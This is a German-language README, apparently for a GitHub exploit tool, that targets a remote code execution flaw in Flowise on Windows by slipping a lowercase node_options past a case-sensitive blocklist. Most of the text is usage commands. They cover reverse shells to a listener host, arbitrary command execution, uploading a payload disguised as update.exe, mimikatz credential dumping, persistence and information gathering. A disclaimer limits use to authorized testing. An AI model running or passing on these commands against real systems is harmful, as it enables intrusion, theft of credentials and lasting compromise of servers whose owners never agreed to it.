Flowise Windows-RCE-Exploit für CVE-2026-58057. Umgeht die Validierung von Umgebungsvariablen über eine Schwachstelle bei der Groß-/Kleinschreibung. Verwendet node_options, um über MCP stdio beliebigen Code einzuschleusen. Unterstützt Reverse Shell, Persistenz, Datei-Upload und Credential-Dumping. Nur für autorisierte Sicherheitstests.
Dies ist ein produktionsreifer Exploit für CVE-2026-58057, eine kritische Schwachstelle zur Remote-Code-Ausführung in Flowise auf Windows-Plattformen. Die Schwachstelle entsteht durch eine case-sensitive Validierung von Umgebungsvariablen, die kleingeschriebenes node_options nicht blockiert, sodass Angreifer die NODE_OPTIONS-Blocklist umgehen und über die Custom-MCP-stdio-Konfiguration beliebigen Code ausführen können.
Der Exploit demonstriert professionelle Softwareentwicklungspraktiken mit modularer Architektur, umfassender Fehlerbehandlung und Unterstützung für mehrere Payload-Typen.
WICHTIG: Dieses Tool ist ausschließlich für autorisierte Sicherheitstests, Penetrationstests und Bildungszwecke bestimmt. Der Autor ist nicht verantwortlich für Missbrauch oder Schäden, die durch diese Software verursacht werden. Holen Sie immer eine ordnungsgemäße Genehmigung ein, bevor Sie ein System testen.
# Vulnerable Validation (Case-Sensitive )
dangerous = {"PATH", "LD_LIBRARY_PATH", "DYLD_LIBRARY_PATH", "NODE_OPTIONS"}
if key in dangerous: # Only blocks exact uppercase match
raise ValueError(f"Modification not allowed")
node_options in Kleinbuchstaben--require malicious-loader.js# Clone repository
git clone https://github.com/CerberusMrXi/Flowise-CVE-2026-58057-exploit
cd Flowise-CVE-2026-58057-exploit
# Install dependencies
pip install -r requirements.txt
# Or minimal installation
pip install requests urllib3
FROM python:3.9-alpine
RUN apk add --no-cache gcc musl-dev
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
COPY exploit.py .
ENTRYPOINT ["python3", "exploit.py"]
python3 exploit.py --help
| Option | Beschreibung | Beispiel |
|---|---|---|
-t, --target | Flowise-URL (erforderlich) | http://localhost:3000 |
-k, --api-key | Flowise-API-Schlüssel | flowise_abc123... |
-u, --username | Benutzername | admin |
-p, --password | Passwort | password123 |
| Option | Beschreibung | Beispiel |
|---|---|---|
--payload | Payload-Typ | reverse_shell |
--lhost | Listener-Host | 192.168.1.100 |
--lport | Listener-Port | 4444 |
--command | Auszuführender Befehl | whoami |
--local-file | Hochzuladende Datei | payload.exe |
--remote-path | Remote-Speicherpfad | C:\\Temp\\update.exe |
| Option | Beschreibung |
|---|---|
--interactive | Interaktive Shell starten |
--verbose | Debug-Ausgabe aktivieren |
--timeout | Anfrage-Timeout in Sekunden |
--retries | Anzahl der Wiederholungsversuche |
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload reverse_shell \
--lhost 192.168.1.50 \
--lport 4444 \
--interactive
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload command_exec \
--command "whoami"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload file_upload \
--local-file /path/to/payload.exe \
--remote-path "C:\\ProgramData\\update.exe"
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload mimikatz
python3 exploit.py -t http://192.168.1.100:3000 -k YOUR_API_KEY \
--payload persistence
python3 exploit.py -t http://192.168.1.100:3000 -u admin -p password \
--payload info_gather